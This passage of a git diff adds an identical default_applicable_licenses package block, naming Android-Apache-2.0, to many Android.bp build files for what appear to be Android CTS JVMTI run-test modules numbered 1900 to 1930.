@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1900DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1901/Android.bp b/hostsidetests/jvmti/run-tests/test-1901/Android.bp
index e4dca54..928ae4f 100644
--- a/hostsidetests/jvmti/run-tests/test-1901/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1901/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1901HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1901/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1901/app/Android.bp
index 30362dc..66159a8 100644
--- a/hostsidetests/jvmti/run-tests/test-1901/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1901/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1901DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1902/Android.bp b/hostsidetests/jvmti/run-tests/test-1902/Android.bp
index e9a84ad..a2a4e8d 100644
--- a/hostsidetests/jvmti/run-tests/test-1902/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1902/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1902HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1902/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1902/app/Android.bp
index b4c7e96..ab6a6cbe 100644
--- a/hostsidetests/jvmti/run-tests/test-1902/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1902/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1902DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1903/Android.bp b/hostsidetests/jvmti/run-tests/test-1903/Android.bp
index 652d251..f583f8e 100644
--- a/hostsidetests/jvmti/run-tests/test-1903/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1903/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1903HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1903/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1903/app/Android.bp
index b2a9211..1d64769 100644
--- a/hostsidetests/jvmti/run-tests/test-1903/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1903/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1903DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1904/Android.bp b/hostsidetests/jvmti/run-tests/test-1904/Android.bp
index 9a61f13..71de778 100644
--- a/hostsidetests/jvmti/run-tests/test-1904/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1904/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1904HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1904/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1904/app/Android.bp
index e0ded3c..d130da1 100644
--- a/hostsidetests/jvmti/run-tests/test-1904/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1904/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1904DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1906/Android.bp b/hostsidetests/jvmti/run-tests/test-1906/Android.bp
index 8dc8213..9665afd 100644
--- a/hostsidetests/jvmti/run-tests/test-1906/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1906/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1906HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1906/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1906/app/Android.bp
index b7c2379..1ad7493 100644
--- a/hostsidetests/jvmti/run-tests/test-1906/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1906/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1906DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1907/Android.bp b/hostsidetests/jvmti/run-tests/test-1907/Android.bp
index 13fe8e4..960f194 100644
--- a/hostsidetests/jvmti/run-tests/test-1907/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1907/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1907HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1907/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1907/app/Android.bp
index e608f12..b990082 100644
--- a/hostsidetests/jvmti/run-tests/test-1907/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1907/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1907DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1908/Android.bp b/hostsidetests/jvmti/run-tests/test-1908/Android.bp
index 21aa2a3..5d6dcbf 100644
--- a/hostsidetests/jvmti/run-tests/test-1908/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1908/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1908HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1908/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1908/app/Android.bp
index 1dc8780..e69b256 100644
--- a/hostsidetests/jvmti/run-tests/test-1908/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1908/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1908DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1909/Android.bp b/hostsidetests/jvmti/run-tests/test-1909/Android.bp
index df71e8f..049ef1d 100644
--- a/hostsidetests/jvmti/run-tests/test-1909/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1909/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1909HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1909/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1909/app/Android.bp
index 5ebbefc..2364bf0 100644
--- a/hostsidetests/jvmti/run-tests/test-1909/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1909/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1909DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1910/Android.bp b/hostsidetests/jvmti/run-tests/test-1910/Android.bp
index 791ce9f..9165c27 100644
--- a/hostsidetests/jvmti/run-tests/test-1910/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1910/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1910HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1910/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1910/app/Android.bp
index 72f1704..c0be83b 100644
--- a/hostsidetests/jvmti/run-tests/test-1910/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1910/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1910DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1911/Android.bp b/hostsidetests/jvmti/run-tests/test-1911/Android.bp
index b3dc656..609793d 100644
--- a/hostsidetests/jvmti/run-tests/test-1911/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1911/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1911HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1911/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1911/app/Android.bp
index 30648cd..44ac1b2 100644
--- a/hostsidetests/jvmti/run-tests/test-1911/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1911/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1911DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1912/Android.bp b/hostsidetests/jvmti/run-tests/test-1912/Android.bp
index 8fdc19b..903e43d 100644
--- a/hostsidetests/jvmti/run-tests/test-1912/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1912/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1912HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1912/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1912/app/Android.bp
index 0029625..1eb8420 100644
--- a/hostsidetests/jvmti/run-tests/test-1912/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1912/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1912DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1913/Android.bp b/hostsidetests/jvmti/run-tests/test-1913/Android.bp
index 5ef38fa..96c6368 100644
--- a/hostsidetests/jvmti/run-tests/test-1913/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1913/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1913HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1913/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1913/app/Android.bp
index 20c656f..37a7d17 100644
--- a/hostsidetests/jvmti/run-tests/test-1913/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1913/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1913DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1914/Android.bp b/hostsidetests/jvmti/run-tests/test-1914/Android.bp
index 7be3ddd..f5ff8cc 100644
--- a/hostsidetests/jvmti/run-tests/test-1914/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1914/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1914HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1914/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1914/app/Android.bp
index ab381ba..6e3e961 100644
--- a/hostsidetests/jvmti/run-tests/test-1914/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1914/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1914DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1915/Android.bp b/hostsidetests/jvmti/run-tests/test-1915/Android.bp
index 0ba22cc..49ee753 100644
--- a/hostsidetests/jvmti/run-tests/test-1915/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1915/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1915HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1915/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1915/app/Android.bp
index e69cbd8..5b65b8d 100644
--- a/hostsidetests/jvmti/run-tests/test-1915/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1915/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1915DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1916/Android.bp b/hostsidetests/jvmti/run-tests/test-1916/Android.bp
index 4e7e4e5..f4e5c89 100644
--- a/hostsidetests/jvmti/run-tests/test-1916/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1916/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1916HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1916/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1916/app/Android.bp
index fbfc346..afa6418 100644
--- a/hostsidetests/jvmti/run-tests/test-1916/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1916/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1916DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1917/Android.bp b/hostsidetests/jvmti/run-tests/test-1917/Android.bp
index 64898af..cb82cdb 100644
--- a/hostsidetests/jvmti/run-tests/test-1917/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1917/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1917HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1917/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1917/app/Android.bp
index 6e00971..053c119 100644
--- a/hostsidetests/jvmti/run-tests/test-1917/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1917/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1917DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1920/Android.bp b/hostsidetests/jvmti/run-tests/test-1920/Android.bp
index c8926b9..1fac722e 100644
--- a/hostsidetests/jvmti/run-tests/test-1920/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1920/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1920HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1920/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1920/app/Android.bp
index 85a13cb..3d7b39e 100644
--- a/hostsidetests/jvmti/run-tests/test-1920/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1920/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1920DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1921/Android.bp b/hostsidetests/jvmti/run-tests/test-1921/Android.bp
index a6c357f..16ca73d 100644
--- a/hostsidetests/jvmti/run-tests/test-1921/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1921/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1921HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1921/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1921/app/Android.bp
index e55bcb6..a8a8b2b 100644
--- a/hostsidetests/jvmti/run-tests/test-1921/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1921/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1921DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1922/Android.bp b/hostsidetests/jvmti/run-tests/test-1922/Android.bp
index 73e8e51..1cf47ec 100644
--- a/hostsidetests/jvmti/run-tests/test-1922/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1922/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1922HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1922/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1922/app/Android.bp
index 7419c80..08523b3 100644
--- a/hostsidetests/jvmti/run-tests/test-1922/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1922/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1922DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1923/Android.bp b/hostsidetests/jvmti/run-tests/test-1923/Android.bp
index d2d6dcb..3f20a27 100644
--- a/hostsidetests/jvmti/run-tests/test-1923/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1923/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1923HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1923/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1923/app/Android.bp
index df1e773..ef9fafc 100644
--- a/hostsidetests/jvmti/run-tests/test-1923/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1923/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1923DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1924/Android.bp b/hostsidetests/jvmti/run-tests/test-1924/Android.bp
index 4c4fcd7..36fcd19 100644
--- a/hostsidetests/jvmti/run-tests/test-1924/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1924/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1924HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1924/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1924/app/Android.bp
index 1a18d4f..1105422 100644
--- a/hostsidetests/jvmti/run-tests/test-1924/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1924/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1924DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1925/Android.bp b/hostsidetests/jvmti/run-tests/test-1925/Android.bp
index a981c3c..b3d7d82 100644
--- a/hostsidetests/jvmti/run-tests/test-1925/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1925/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1925HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1925/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1925/app/Android.bp
index 9210b43..5e92037 100644
--- a/hostsidetests/jvmti/run-tests/test-1925/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1925/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1925DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1926/Android.bp b/hostsidetests/jvmti/run-tests/test-1926/Android.bp
index 110866e..3420b61 100644
--- a/hostsidetests/jvmti/run-tests/test-1926/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1926/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1926HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1926/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1926/app/Android.bp
index d222132..5de779e 100644
--- a/hostsidetests/jvmti/run-tests/test-1926/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1926/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1926DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1927/Android.bp b/hostsidetests/jvmti/run-tests/test-1927/Android.bp
index eb7078c..88229ff 100644
--- a/hostsidetests/jvmti/run-tests/test-1927/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1927/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1927HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1927/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1927/app/Android.bp
index ee61952..7d546ff 100644
--- a/hostsidetests/jvmti/run-tests/test-1927/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1927/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1927DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1928/Android.bp b/hostsidetests/jvmti/run-tests/test-1928/Android.bp
index 1a678da..fe94bb8 100644
--- a/hostsidetests/jvmti/run-tests/test-1928/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1928/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1928HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1928/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1928/app/Android.bp
index 54511d4..003d758 100644
--- a/hostsidetests/jvmti/run-tests/test-1928/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1928/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1928DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1930/Android.bp b/hostsidetests/jvmti/run-tests/test-1930/Android.bp
index 23c9b59..b80e3b0 100644
--- a/hostsidetests/jvmti/run-tests/test-1930/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1930/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1930HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1930/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1930/app/Android.bp
index 0dcd23e..09cb450 100644
--- a/hostsidetests/jvmti/run-tests/test-1930/app/Android.bp
